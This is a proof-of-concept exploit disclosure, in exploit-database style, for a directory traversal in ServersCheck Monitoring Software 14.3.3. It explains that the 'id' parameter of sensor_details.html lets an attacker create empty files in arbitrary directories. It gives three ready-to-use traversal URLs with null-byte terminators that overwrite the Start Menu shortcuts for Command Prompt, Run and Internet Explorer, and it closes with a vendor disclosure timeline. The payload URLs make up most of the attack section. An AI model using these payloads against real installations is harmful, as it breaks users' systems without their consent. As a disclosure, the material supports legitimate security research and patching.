ServersCheck Monitoring Software 14.3.3 – Arbitrary File Write
# Exploit Title: ServersCheck Monitoring Software 14.3.3 - Denial of Service (PoC) # Author: John Page (aka hyp3rlinx) # Date: 2018-10-23 # Vendor: www.serverscheck.com # Software Link: http://downloads.serverscheck.com/monitoring_software/setup.exe # CVE: N/A # References: # http://hyp3rlinx.altervista.org/advisories/CVE-2018-18552-SERVERSCHECK-MONITORING-SOFTWARE-ARBITRARY-FILE-WRITE-DOS.txt # https://serverscheck.com/monitoring-software/release.asp # Affected Component: "sensor_details.html" webpage the "id" parameter # Security Issue # ServersCheck Monitoring Software allows remote attackers to cause a denial of service # (menu functionality loss) by creating an LNK file that points to a second LNK file, if this # second LNK file is associated with a Start menu item. Ultimately, this behavior comes # from a Directory Traversal bug (via the sensor_details.html id parameter) that allows # creating empty files in arbitrary directories. # Exploit/POC # DOS Command Prompt .LNK under Start Menu change <VICTIM> to desired user. http://127.0.0.1:1272/sensor_details.html?id=../../../../Users/<VICTIM>/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Accessories/Command%20Prompt.lnk%00 # DOS Run .LNK under Start Menu http://127.0.0.1:1272/sensor_details.html?id=../../../../Users/<VICTIM>/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Accessories/Run.lnk%00 # DOS Internet Explorer .LNK from Start Menu http://127.0.0.1:1272/sensor_details.html?id=../../../../Users/<VICTIM>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Internet Explorer.LNK%00 # Victim will get error message from server like "Error retrieving sensor details from database". # Then,No Internet Explorer, Command or Run prompt via the Start/Programs/Accessories/ # and Task Menu links. However, can still be launch by other means. Tested successfully on # Windows 7 OS # [Disclosure Timeline] # Vendor Notification: October 6, 2018 # Vendor acknowledgement: October 7, 2018 # Vendor release v14.3.4 : October 7th, 2018 # CVE assign by Mitre: October 21, 2018 # October 22, 2018 : Public Disclosure |